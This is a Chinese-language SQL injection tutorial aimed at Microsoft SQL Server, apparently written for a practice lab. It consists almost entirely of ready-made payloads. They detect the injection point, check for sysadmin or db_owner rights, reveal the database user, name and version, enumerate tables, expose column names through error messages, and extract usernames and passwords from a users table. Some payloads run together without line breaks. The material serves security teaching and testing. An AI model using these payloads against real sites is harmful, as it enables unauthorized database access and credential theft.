判断注入
首先用单双引号判断是否存在注入,这里可以看到是单引号
判断是否为 MSSQL 数据库
可以通过以下Payload来探测当前站点是否是MSSQL数据库,正常执行说明后台数据库为MSSQL;也可以根据页面的报错信息来判断数据库
' and exists( select * from sysobjects ) --
' and exists(select count( * ) from sysobjects)--
也可以通过以下SQL语句来判断注入点权限
' and exists(select is_srvrolemember('sysadmin')) -- 判断当前是否为sa
' and exists(select is_srvrolemember('db_owner')) -- 判断当前用户读\写文件的权限
查询数据库信息
user回显的dbo为最高权限,普通权限显示的是用户名
' union select 1,user,is_srvrolemember('public') -- 查用户
id=-1' union select 1,db_name,is_srvrolemember('public') -- 查数据库名
id=-1' union select 1,@@version,is_srvrolemember('public') -- 查版本信息
获取目标站点的表信息
这里需要我们去进行猜测有哪些表,可以用到以下语句
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--查第二张表'and 1=(select top 1 name from sysobjects where xtype='U' and name !=' users ')--第三张'and 1=(select top 1 name from sysobjects where xtype='U' and name !=' users ' and name !=' emails ')--第四张'and 1=(select top 1 name from sysobjects where xtype='U' and name !=' users ' and name !=' emails ' and name !=' uagents ')--
通过payload语句爆出表的所有字段信息
having 1=1--'group by 字段名 1 having 1=1--'group by 字段名 1 ,字段名 2 having 1=1--
爆破字段值
查看回显字段
'union select 1,2,3 from users --
查看字段内容
union all select 1,(select top 1 username from users),' 3 '--union all select 1,2,(select top 1 password from users)--